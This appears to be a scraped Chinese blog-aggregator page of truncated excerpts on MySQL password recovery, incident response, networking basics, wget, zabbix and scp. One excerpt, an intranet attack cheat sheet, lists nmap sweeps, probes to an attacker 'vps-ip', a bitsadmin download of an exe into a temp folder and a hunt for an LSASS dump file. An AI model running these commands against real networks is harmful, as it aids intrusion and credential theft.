linux服务器

Linux下MySQL忘记密码

不问归期 提交于 2020-02-27 02:56:24
1、前沿 今天在服务器安装 mysql 之后,登录发现密码错误,但是我没有设置密码呀,最后百度之后得知, mysql 在5.7版本之后会自动创建一个初始密码。 报错如下: [root@mytestlnx02 ~]# mysql -u root -p Enter password: ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) 2、检查MySQL服务是否启动 先检查MySQL服务是否启动,如果启动,先关闭MySQL服务。 //查看mysql服务状态 [root@mytestlnx02 ~]# ps -ef | grep -i mysql root 22972 1 0 14:18 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --pid-file=/var/run/mysqld/mysqld.pid --basedir=/usr --user=mysql mysql 23166 22972 0 14:18 pts/0 00:00:00 /usr/sbin/mysqld --basedir=/usr -

应急响应

China☆狼群 提交于 2020-02-27 01:16:04
什么是应急响应 PDCERF模型 P (Preparation准备) D (Detection诊断) C (Containment抑制) E (Eradication根除) R (Recovery恢复) F (follow-up跟踪) 其实就是为了快速定位问题点,快速解决问题原因 应急工具: ls, ifconfig , ps ,top busybox webshell 检查。病毒查杀 诊断:CPU 占用 -> 挖矿 阻断: 比如拔网线 根除: 黑客如何攻进来的,利用什么漏洞,在服务器中做了什么,清除后门,webshell等 恢复,监控: 应急报告 BusyBox BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。 运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制, 是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持。 而busybox是静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。 BusyBox下载 cd /bin/ wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox chmod 755 busybox 使用: busybox top #

内网攻防经典技术备忘录

冷暖自知 提交于 2020-02-26 23:04:42
前言 很早就想专门写一篇关于内网的文章,一直没有腾出空来,万万没想到,写下这篇文章的时候,竟然是我来某实验室实习的时间段:) 信息搜集 nmap扫描实时存活的ip nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips 常用命令 ipsping icmp连通性 nslookup www.baidu.com vps-ip dns连通性 dig @vps-ip www.baidu.com curl vps:8080 http连通性 tracert bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >=2008 fuser -nv tcp 80 查看端口pid rdesktop -u username ip linux连接win远程桌面 (有可能不成功) where file win查找文件是否存在 找路径,Linux下使用命令find -name *.jsp来查找,Windows下,使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i netstat -apn | grep

Linux基础6-计算机网络基础

不羁岁月 提交于 2020-02-26 23:03:20
计算机网络的一些相关知识 三网——电信网络,有线电视网络,计算机网络 网络融合——将三种网络的功能融合在一起 计算机网络:也是一种通信基础设施,与其他两种网络不同的是计算机网络的端设备是功能强大的计算机 计算机网络的两个重要的功能:连通和共享 网络,互连(非“联”)网,因特网的概念 起源于美国的因特网现在是世界上最大的国际性计算机网络 网络由若干节点和连接这些节点的链路组成(节点可以是计算机,集线器,交换机,路由器等) 网络和网络之间通过路由器连接起来,构成了互连网——即网络的网络 因此,网络把许多计算机连接在一起,互连网将许多网络连接在一起 因特网发展的三个阶段—— 第一阶段:单网络ARANET——1969年美国国防部建立的第一个分组交换网 第二阶段:三级结构的因特网——主干网,地区网,校园网 第三阶段: 多层次IPS(因特网服务提供者)结构的因特网 互联网的组成 边缘部分(用户直接使用的主机), 核心部分(路由器,为边缘部分提供服务) 边缘部分:端系统之间的通信可以分为两种方式——客户/服务器方式(CS方式),对等方式(P2P方式)(第六章 6.9节) 核心部分:向网络边缘部分的主机提供连通性服务,其核心部件是实现分组交换的路由器(用来转发分组) 两个概念:电路交换与分组交换 电路交换: 建立连接——通话——释放连接(两个用户在连接期间始终占用端到端的通信资源)

在Linux服务器上使用wget下载文件

末鹿安然 提交于 2020-02-26 18:44:17
1.一般大多数文件使用wget直接下载即可 命令如下 wget - c 网络地址 默认下载到root文件夹下 - b:后台下载,Wget默认的是把文件下载到当前目录。 - O:将文件下载到指定的目录中。 - P:保存文件之前先创建指定名称的目录。 - t:尝试连接次数,当Wget无法与服务器建立连接时,尝试连接多少次。 - c:断点续传,如果下载中断,那么连接恢复时会从上次断点开始下载。 - r:使用递归下载 2.下载需要登录才能下载的文件时(例如下载Oracle家的文件) 1.以下载Oracle数据库文件示例,首先登录 2.按f12进入控制台 3.然后点击下载 当出现下载弹窗是,点击取消 然后找到如图的链接 4.使用下载命令进行下载 wget - b "win64_11gR2_database_1of2.zip" -- no - check - certificate -- no - cookies -- header "Cookie: oraclelicense=accept-securebackup-cookie" "http://download.oracle.com/otn/nt/oracle11g/112010/win64_11gR2_database_1of2.zip?AuthParam=1582705306

运维工程师打怪升级进阶之路 V2.0

蹲街弑〆低调 提交于 2020-02-26 16:40:53
在此之前,发布过两个版本: 运维工程师打怪升级之路 V1.0 版本发布 运维工程师打怪升级必经之路 V1.0.1 很多读者伙伴们反应总结的很系统、很全面,无论是0基础初学者,还是有基础的入门者,或者是有经验的职场运维工程师们,都反馈此系列文章非常不错! 为了更好的提升可阅读性、可查找性,特此,将列与公众号菜单的系统系列文章,统一整理于一篇文章,按原来的整体架构,分类整理,也就是说,今后的更新与迭代不再是多级的菜单目录,统一是一篇完整的文章,有利于读者阅读与查找。 命名:《运维工程师打怪升级之路》 版本:V1.0版本「2019年1月20日发布」 V1.0.1版本「2019年4月26日更新」 V2.0版本 「2019年5月13日发布」 内容概况: 内容由浅入深,从最基础的网络基础开始,逐渐深入系统的学习Linux系统运维知识。然后引入企业项目实战内容,从而让更多学习Linux系统运维的读者朋友们「无论前端、后端、测试还是运维,底层系统是必备技术点」,都能够快速入门、并且在一程度上掌握当下企业所需要的技术储备。再穿插企业面试题、面试经验等,同时也能帮助运维工程师们在求职的路上能更加顺畅,少踩坑。 后面会逐渐更新将其完善,希望能帮助到同为运维路上的技术人。 运维工程师打怪升级进阶之路基础篇 1、网络基础 网络组建之路由基础 网络基础NAT(Network Address

AWS-ss

流过昼夜 提交于 2020-02-26 15:32:23
1. 创建 AWS 账户 2. 启动配备 Amazon EC2 的 Linux 虚拟机 (有12个月免费) 2.1 参考建立后获得 虚拟机(这里选择ubuntu): 2.2 配置安全组 2.3 ssh连接 2.4 测试 2.5 安装配置ss 2.5.1 直接命令启动 2.5.2 使用配置文件 2.5.3 优化,开机启动设置 3. aws的一些12个月内免费项目 4. 开启TCP BBR 5. 为archlinux服务器开启google bbr模块 6. 更多参考 6.1 ssr 6.2 bbr 6.3 AWS的1个月免费项目 https://zh.wikipedia.org/zh-tw/亚马逊云计算服务 https://zh.wikipedia.org/wiki/Amazon_EC2 https://szosoft.blogspot.com/2020/02/aws-ss.html 1. 创建 AWS 账户 AWS 账户包含 12 个月的免费套餐访问权限 包括使用 Amazon EC2、Amazon S3 和 Amazon DynamoDB...请访问 aws.amazon.com/free 免费查看完整优惠条款 10 分钟教程 https://amazonaws-china.com/cn/getting-started/tutorials/ 2. 启动配备 Amazon EC2 的

Linux折腾记

五迷三道 提交于 2020-02-26 06:40:59
最近想着建一个独立博客记笔记,趁着阿里云搞活动,买了台入门级ESC云服务器,不算贵,300左右, 有兴趣的可以看看--> 我使用的是CentOS,什么环境都没有,两种方案,一种自己装,另外一种是使用镜像市场中的环境(推荐),先停掉实例,再点击更换系统盘。 找到适合自己的镜像系统,购买(大多数都免费),如我现在使用的 Java运行环境 设置下密码,购买成功后会自动启动实例,省了很多时间。 接下来按照镜像说明重新修改MySQL的密码 先使用xshell连接到服务器,执行命令,查看镜像配置的初始信息 more readme.txt 找到mysql的初始密码,执行命令 mysqladmin -u root -h 127.0.0.1 -p password 输入初始密码,然后再输入新密码就可以了。 如需远程访问mysql,请依次执行一下语句 mysql -u root -p use mysql; update user set host='%' where user='root'; flush privileges; exit  配置安全组端口策略,增加入方向、出方向端口 3306 使用Navicat测试一下是否可用。 购买域名,配置域名解析到刚才买的服务器ip,如果出现ping不到解析好的域名,可以使用命令ipconfig /flushdns,清一下本地dns缓存(windows)

linux搭建zabbix

回眸只為那壹抹淺笑 提交于 2020-02-26 05:25:19
首先:检查防火墙是够关闭; 一、 rpm -Uvh https://repo.zabbix.com/zabbix/4.0/rhel/7/x86_64/zabbix-release-4.0-1.el7.noarch.rpm 根据官网上你需要的版本下载;官网: https://www.zabbix.com/download 二、安装zabbix程序包,安装mysql、zabbxi-agent 1.yum -y install zabbix-server-mysql zabbix-web-mysql zabbix-agent mariadb-server 成功: 失败 通过 yum remove zabbix-release、yum clean all,重新操作安装。 三、启动mariadb并设置开机启动,创建数据库实例,授权 1.systemctl start mariadb #启动mariadb 2.systemctl enable mariadb #设置开机启动 3.mysql #登入数据库 4.create database zabbix character set utf8 collate utf8_bin; #创建数据库实例 5.grant all privileges on zabbix. to zabbix@'%' identified by 'zabbix';

Linux下scp命令详解

守給你的承諾、 提交于 2020-02-26 05:04:36
scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录. scp命令的用处: scp在网络上不同的主机之间复制文件,它使用ssh安全协议传输数据,具有和ssh一样的验证机制,从而安全的远程拷贝文件。 scp命令基本格式: scp [-1246BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file] [-l limit] [-o ssh_option] [-P port] [-S program] [[user@]host1:]file1 [...] [[user@]host2:]file2 scp命令的参数说明: -1 强制scp命令使用协议ssh1 -2 强制scp命令使用协议ssh2 -4 强制scp命令只使用IPv4寻址 -6 强制scp命令只使用IPv6寻址 -B 使用批处理模式(传输过程中不询问传输口令或短语) -C 允许压缩。(将-C标志传递给ssh,从而打开压缩功能) -p 保留原文件的修改时间,访问时间和访问权限。 -q 不显示传输进度条。 -r 递归复制整个目录。 -v 详细方式显示输出。scp和ssh(1)会显示出整个过程的调试信息。这些信息用于调试连接,验证和配置问题。 -c cipher